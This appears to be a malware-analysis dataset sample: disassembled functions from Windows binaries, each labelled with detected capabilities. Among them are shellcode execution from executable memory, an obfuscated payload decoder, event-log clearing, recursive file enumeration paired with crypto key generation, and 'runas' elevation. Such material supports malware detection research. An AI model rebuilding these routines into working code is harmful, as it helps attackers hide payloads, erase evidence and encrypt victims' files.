joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001000
Capabilities:
Get common file path
Terminate process

Disassembly:
mov eax, dword [0x100065b0]
sub esp, 0x420
test eax, eax
push ebx
mov ebx, dword [sym.imp.USER32.dll_MessageBoxA]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
jne 0x1000108d
lea eax, [esp + 0x1c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x1c]
push 0x10005064
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
mov dword [0x100065b0], eax
jne 0x1000108d
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x224]
push eax
push 0x10005044
push ecx
call edi
add esp, 0xc
lea edx, [esp + 0x224]
push 0x10
push 0x1000503c
push edx
push 0
call ebx
mov eax, dword [0x100065b0]
test eax, eax
jne 0x1000108d
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, dword [esp + 0x430]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x100010e9
mov eax, esi
shr eax, 0x10
jne 0x100010bb
push esi
lea ecx, [esp + 0x10]
push 0x10005038
push ecx
call edi
add esp, 0xc
lea esi, [esp + 0xc]
push esi
lea edx, [esp + 0x124]
push 0x10005010
push edx
call edi
add esp, 0xc
lea eax, [esp + 0x120]
push 0x10
push 0x1000503c
push eax
push 0
call ebx
push 0xfffffffffffffffe
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
pop ebx
add esp, 0x420
ret 4

Function at 0x10001100
Capabilities:
Get common file path

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x30c
cmp eax, 1
jne 0x100011ae
mov eax, dword [esp + 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
lea ecx, [esp]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp]
push 0x10005064
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
mov dword [0x100065b0], eax
jne 0x10001190
lea ecx, [esp]
lea edx, [esp + 0x104]
push ecx
push 0x10005044
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 0x104]
push 0x10
push 0x1000503c
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword [0x100065b0]
test eax, eax
je 0x100011a3
call fcn.10001720
mov eax, 1
add esp, 0x30c
ret 0xc
xor eax, eax
add esp, 0x30c
ret 0xc
test eax, eax
jne 0x100011c2
mov eax, dword [0x100065b0]
test eax, eax
je 0x100011c2
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
add esp, 0x30c
ret 0xc
Function at 0x10001720
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x10006483]
push edi
test eax, eax
je 0x10001284
mov edi, 0x10006487
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10001284
mov edi, 0x100064a5
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10001284
call fcn.100018e0
push 0x100064a5
push 0x10006487
call fcn.100026a0
mov dword [0x100065e8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.10001d40
push 0x10001700
push 0x100065e8
call fcn.10001dc0
pop edi
jmp 0x10001a90
pop edi
ret
sub esp, 0x104
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 5]
mov byte [esp + 4], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
mov dword [0x100065e4], edx
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 4]
push 0x10006344
push ecx
call fcn.10001370
add esp, 8
test eax, eax
pop edi
je 0x100017a5
push 0x100065c8
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [0x10006483]
test eax, eax
je 0x10001793
add esp, 0x104
jmp 0x10001220
push 0
push 0
push 0x10001710
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
add esp, 0x104
ret
push 0
call fcn.10001aa0
ret

Function at 0x10001820
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100030c0
push 0x10002f60
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 0x1c
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x38], ecx
cmp word [ecx], 0x5a4d
jne 0x100018bb
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [ebp - 0x3c], eax
cmp dword [eax], 0x4550
jne 0x100018bb
mov edx, dword [eax + 0xd8]
lea edi, [edx + ecx]
mov esi, dword [ebp + 0xc]
cmp esi, edi
jb 0x100018bb
mov eax, dword [eax + 0xdc]
add eax, edx
add eax, ecx
cmp esi, eax
jae 0x100018bb
mov dword [ebp - 4], 0xffffffff
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10001940
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
push esi
mov esi, dword [0x100065f0]
test esi, esi
je 0x1000196a
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 8]
push eax
push 0x40
push 0x10000
push esi
call edi
mov esi, dword [esi + 4]
test esi, esi
jne 0x10001953
pop edi
pop esi
pop ecx
ret
Function at 0x10001970
Capabilities:
Resume thread

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x100065fc], eax
je 0x10001986
mov eax, 0x10dd
pop ecx
ret
push ebx
push ebp
push esi
mov esi, dword [0x1000660c]
xor ebp, ebp
push edi
cmp esi, ebp
je 0x100019dd
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0x14]
lea eax, [esp + 0x10]
push eax
xor eax, eax
mov al, byte [edx + 0x17]
push ecx
mov ecx, dword [esi + 0xc]
push eax
push ecx
call ebx
cmp dword [esi + 4], ebp
jne 0x100019cc
mov eax, dword [esi + 0x10]
cmp eax, ebp
je 0x100019cc
push eax
call fcn.10001a60
add esp, 4
mov dword [esi + 0x10], ebp
mov edi, dword [esi]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
cmp edi, ebp
mov esi, edi
jne 0x1000199c
mov dword [0x1000660c], ebp
call fcn.10001a30
mov esi, dword [0x10006608]
cmp esi, ebp
je 0x10001a0f
mov ebx, dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, dword [esi + 4]
push edx
call ebx
mov edi, dword [esi]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
cmp edi, ebp
mov esi, edi
jne 0x100019f8
pop edi
mov dword [0x10006608], ebp
mov dword [0x100065fc], ebp
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
Function at 0x10001d40
Capabilities:
Suspend thread

Disassembly:
mov eax, dword [0x10006600]
push esi
test eax, eax
push edi
jne 0x10001db6
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, dword [esp + 0xc]
cmp edi, eax
je 0x10001db4
push 8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
add esp, 4
test esi, esi
jne 0x10001d70
mov edi, 8
jmp 0x10001d8d
push edi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x10001da4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
mov edi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [0x10006600], edi
mov eax, edi
pop edi
mov dword [0x10006604], 0
pop esi
ret 4
mov dword [esi + 4], edi
mov eax, dword [0x10006608]
mov dword [esi], eax
mov dword [0x10006608], esi
xor eax, eax
pop edi
pop esi
ret 4
Function at 0x10002310
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100030d0
push 0x10002f60
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 0x1c
lea eax, [ebp - 0x38]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x1000239a
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x34]
cmp word [eax], 0x5a4d
jne 0x10002393
mov ecx, dword [eax + 0x3c]
add ecx, eax
mov dword [ebp - 0x3c], ecx
cmp dword [ecx], 0x4550
jne 0x10002393
cmp word [ecx + 0x14], 0
mov dword [ebp - 4], 0xffffffff
je 0x1000239a
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0xffffffff
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100024f0
Capabilities:
Link many functions at runtime

Disassembly:
mov eax, dword [0x10006638]
sub esp, 8
push ebx
xor ebx, ebx
cmp eax, ebx
push esi
jne 0x10002698
mov eax, dword [0x10006634]
cmp eax, ebx
jne 0x1000269a
push edi
mov ecx, 9
xor eax, eax
mov edi, 0x10006610
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push str.dbghelp.dll
mov dword [0x10006610], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, ebx
mov dword [0x10006614], eax
pop edi
je 0x10002659
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.ImagehlpApiVersionEx
push eax
call esi
mov dword [0x10006618], eax
mov eax, dword [0x10006614]
push str.SymInitialize
push eax
call esi
mov ecx, dword [0x10006614]
push str.SymSetOptions
push ecx
mov dword [0x1000661c], eax
call esi
mov edx, dword [0x10006614]
push str.SymGetOptions
push edx
mov dword [0x10006620], eax
call esi
mov dword [0x10006624], eax
mov eax, dword [0x10006614]
push str.SymLoadModule64
push eax
call esi
mov ecx, dword [0x10006614]
push str.SymGetModuleInfo64
push ecx
mov dword [0x10006628], eax
call esi
mov edx, dword [0x10006614]
push str.SymFromName
push edx
mov dword [0x1000662c], eax
call esi
xor ecx, ecx
mov esi, 7
mov dword [esp + 8], ecx
mov dword [0x10006630], eax
mov dword [esp + 0xc], ecx
mov ecx, dword [0x10006618]
cmp ecx, ebx
mov word [esp + 8], si
je 0x10002654
cmp dword [0x1000661c], ebx
je 0x10002654
cmp dword [0x10006628], ebx
je 0x10002654
cmp dword [0x1000662c], ebx
je 0x10002654
cmp eax, ebx
je 0x10002654
lea edx, [esp + 8]
push edx
call ecx
cmp word [esp + 8], si
jb 0x10002654
mov eax, dword [0x10006610]
push ebx
push ebx
push eax
call dword [0x1000661c]
test eax, eax
je 0x10002654
mov eax, dword [0x10006624]
cmp eax, ebx
je 0x1000263f
cmp dword [0x10006620], ebx
je 0x1000263f
call eax
and al, 0xfc
or al, 4
push eax
call dword [0x10006620]
pop esi
mov dword [0x10006634], 0x10006610
mov eax, 0x10006610
pop ebx
add esp, 8
ret
mov eax, dword [0x10006614]
cmp eax, ebx
mov dword [0x10006638], 1
je 0x1000266e
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x10006618], ebx
mov dword [0x1000661c], ebx
mov dword [0x10006620], ebx
mov dword [0x10006624], ebx
mov dword [0x10006628], ebx
mov dword [0x1000662c], ebx
mov dword [0x10006630], ebx
xor eax, eax
pop esi
pop ebx
add esp, 8
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x403203
pop dword [ebp - 0x3c]
mov eax, 0xc73d6229
add eax, 0x3902cfda
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xe2a93d76
sub dword [ebp - 0x4c], 0x9456f82b
mov dword [ebp - 0x48], 0x33a8651d
sub dword [ebp - 0x48], 0x17518d8
mov dword [ebp - 0x44], 0x82846cd9
sub dword [ebp - 0x44], 0x363828ab
mov dword [ebp - 0x40], 0x46f117a6
add dword [ebp - 0x40], 0xb90ee85a
lea eax, [ebp - 0x4c]
push eax
mov eax, 0xd18a6c6e
add eax, 0x2eb6141e
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x8cf9a9f7
add dword [ebp - 0x4c], 0xe778bf5f
mov dword [ebp - 0x48], 0x5f75f2a9
add dword [ebp - 0x48], 0xe1f66ecc
mov dword [ebp - 0x44], 0xd122d86b
add dword [ebp - 0x44], 0x924c9401
mov dword [ebp - 0x40], 0xebf0118d
sub dword [ebp - 0x40], 0xebf0118d
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0xaf83a26b
sub eax, 0xaf432197
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x39f15
push 0
call eax
mov ecx, 0x5565
xor edx, edx
add edx, eax
mov esi, 0x411000
add esi, dword [ebp - 0x3c]
mov ebx, 0x920a1d52
add ebx, 0x7169bfc7
add dword [ebp - 8], 0x4f46b0e7
mov edi, dword [esi]
sub dword [ebp - 8], 0x140e45b6
sub edi, ebx
add dword [ebp - 0x30], edi
mov dword [edx], edi
xor dword [ebp - 0xc], esi
add edx, 0x95b2e0d0
add edx, 0x6a4d1f34
add esi, 0xec4fa336
sub esi, 0xec4fa332
loop 0x40331b
add eax, 0x65a8218f
add eax, 0x9a5926d8
xor ebx, ebx
add ebx, eax
add eax, 0x413ef81d
add eax, 0xbec107e8
mov ecx, 0x6860f80
sub ecx, 0x6460f80
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x4022a5
Capabilities:
Access the windows event log
Clear windows event logs
Get common file path
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x800
push esi
push edi
xor esi, esi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
cmp edi, 0x58ce99d
jg 0x4022cc
inc edi
cmp edi, 0x1f6502b0
jl 0x4022b4
cmp dword [0x48526c], 0x400
jne 0x402352
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
lea eax, [ebp - 0x800]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push esi
push esi
call dword [sym.imp.USER32.dll_DdeCmpStringHandles]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
push str.Josebocusomal_kur_pidijazosanu
push esi
call dword [sym.imp.ADVAPI32.dll_BackupEventLogW]
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push str.nojojatobajehivonafepuxefemi
push esi
call fcn.004027a8
push esi
push esi
call fcn.00402a24
fldz
add esp, 8
fstp qword [esp]
call fcn.004028c0
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00402580
fstp st(0)
push esi
call fcn.00402ad1
push esi
call fcn.00402ae0
add esp, 0x10
xor edi, edi
cmp edi, 0xd0fe
jge 0x402363
push esi
call dword [sym.imp.USER32.dll_GetCaretPos]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x58bc6e
jg 0x402381
inc edi
cmp edi, 0xe52f
jl 0x402354
mov eax, dword [0x475304]
mov dword [0x48526c], eax
call fcn.0040202e
mov edi, 0x3078f
cmp dword [0x48526c], 0x51f
jne 0x4023af
push esi
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
dec edi
jne 0x402395
pop edi
xor eax, eax
pop esi
leave
ret 0x10

Function at 0x406d1e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x474d48]
jne 0x406d28
repz ret
jmp fcn.004095bf
Function at 0x40918a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x474d48]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00403d36
and dword [ebp - 0x14], 0
cmp dword [0x47fe24], 0
mov dword [ebp - 0x18], eax
jne 0x40923d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4092e5
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4092e5
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x47fe24], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x47fe28], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x47fe2c], eax
call edi
push eax
call esi
mov dword [0x47fe34], eax
test eax, eax
je 0x40923d
push 0x472c90
push ebx
call edi
push eax
call esi
mov dword [0x47fe30], eax
mov eax, dword [0x47fe30]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x409296
cmp dword [0x47fe34], ecx
je 0x409296
push eax
call esi
push dword [0x47fe34]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x409296
test ebx, ebx
je 0x409296
call edi
test eax, eax
je 0x40928d
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40928d
test byte [ebp - 8], 1
jne 0x409296
or dword [ebp + 0x10], 0x200000
jmp 0x4092c9
mov eax, dword [0x47fe28]
cmp eax, dword [ebp - 0x18]
je 0x4092c9
push eax
call esi
test eax, eax
je 0x4092c9
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4092c9
mov eax, dword [0x47fe2c]
cmp eax, dword [ebp - 0x18]
je 0x4092c9
push eax
call esi
test eax, eax
je 0x4092c9
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x47fe24]
call esi
test eax, eax
je 0x4092e5
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4092e7
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406d1e
leave
ret
Function at 0x4013e0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x554
mov eax, dword [0x425240]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
call fcn.00401b80
add esp, 4
test eax, eax
je 0x401408
jmp 0x401608
mov ecx, dword [ebp + 8]
push ecx
push str._s
push 0x200
lea edx, [ebp - 0x404]
push edx
call fcn.004023b0
add esp, 0x10
lea eax, [ebp - 0x544]
push eax
lea ecx, [ebp - 0x404]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x54c], eax
cmp dword [ebp - 0x54c], 0xffffffff
jne 0x40144d
jmp 0x401608
push 0x4251ac
lea edx, [ebp - 0x518]
push edx
call fcn.00406fd0
add esp, 8
test eax, eax
je 0x4015de
push 0x4251b0
lea eax, [ebp - 0x518]
push eax
call fcn.00406fd0
add esp, 8
test eax, eax
je 0x4015de
lea ecx, [ebp - 0x518]
push ecx
mov edx, dword [ebp + 8]
push edx
push str._s_s
push 0x200
lea eax, [ebp - 0x204]
push eax
call fcn.004023b0
add esp, 0x14
mov ecx, dword [ebp - 0x544]
and ecx, 0x10
je 0x4014dd
cmp dword [ebp + 0x14], 3
jge 0x4014d8
mov edx, dword [ebp + 0x14]
add edx, 1
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x204]
push edx
call fcn.004013e0
add esp, 0x10
jmp 0x4015de
push 0x2e
lea eax, [ebp - 0x518]
push eax
call fcn.00404d60
add esp, 8
mov dword [ebp - 0x550], eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401a60
add esp, 4
test eax, eax
jne 0x401531
cmp dword [ebp - 0x550], 0
je 0x401525
push str..lnk
mov edx, dword [ebp - 0x550]
push edx
call fcn.0040716b
add esp, 8
test eax, eax
je 0x401531
mov eax, dword [ebp + 8]
push eax
call fcn.00401ae0
add esp, 4
push 0x34
call fcn.0040725f
add esp, 4
mov dword [ebp - 0x548], eax
lea ecx, [ebp - 0x204]
push ecx
call fcn.0040705c
add esp, 4
mov edx, dword [ebp - 0x548]
mov dword [edx], eax
push 0x20
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x548]
add ecx, 4
push ecx
call fcn.004047e0
add esp, 0xc
push 0x10
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x548]
add eax, 0x24
push eax
call fcn.004047e0
add esp, 0xc
push 0x426880
mov ecx, dword [ebp - 0x548]
push ecx
push 0x401710
call dword [sym.imp.KERNEL32.dll_CreateThreadpoolWork]
mov dword [ebp - 0x554], eax
cmp dword [ebp - 0x554], 0
je 0x4015be
mov edx, dword [ebp - 0x554]
push edx
call dword [sym.imp.KERNEL32.dll_SubmitThreadpoolWork]
nop
jmp 0x4015de
mov eax, dword [ebp - 0x548]
mov ecx, dword [eax]
push ecx
call fcn.00407244
add esp, 4
mov edx, dword [ebp - 0x548]
push edx
call fcn.00407244
add esp, 4
lea eax, [ebp - 0x544]
push eax
mov ecx, dword [ebp - 0x54c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40144d
mov edx, dword [ebp - 0x54c]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
nop
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402444
mov esp, ebp
pop ebp
ret
Function at 0x401660
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0xf0000000
push 0x18
push 0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x4016c7
mov ecx, dword [ebp + 8]
push ecx
push 0x20
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov eax, dword [ebp + 0xc]
push eax
push 0x10
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x20
mov eax, dword [ebp + 8]
push eax
call fcn.00401620
add esp, 8
push 0x10
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00401620
add esp, 8
jmp 0x4016dc
push str.Failed_to_acquire_cryptographic_context._n
call fcn.00402370
add esp, 4
push 1
call fcn.004075a5
nop
mov esp, ebp
pop ebp
ret

Function at 0x401840
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x425240]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], 0
mov byte [ebp - 0xc], 0
mov byte [ebp - 0xb], 0
mov byte [ebp - 0xa], 0
mov byte [ebp - 9], 0
mov byte [ebp - 8], 0
mov byte [ebp - 7], 5
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x4018b1
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x10]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
nop
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402444
mov esp, ebp
pop ebp
ret

Function at 0x4018d0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x425240]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.00401840
test eax, eax
jne 0x40197a
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x40197a
mov dword [ebp - 0x144], 0x3c
push 0x38
push 0
lea ecx, [ebp - 0x140]
push ecx
call fcn.00405110
add esp, 0xc
mov dword [ebp - 0x138], str.runas
lea edx, [ebp - 0x108]
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x130], 0x425064
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x128], 0
lea eax, [ebp - 0x144]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x401972
push 1
call fcn.004075a5
nop
push 0
call fcn.004075a5
nop
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402444
mov esp, ebp
pop ebp
ret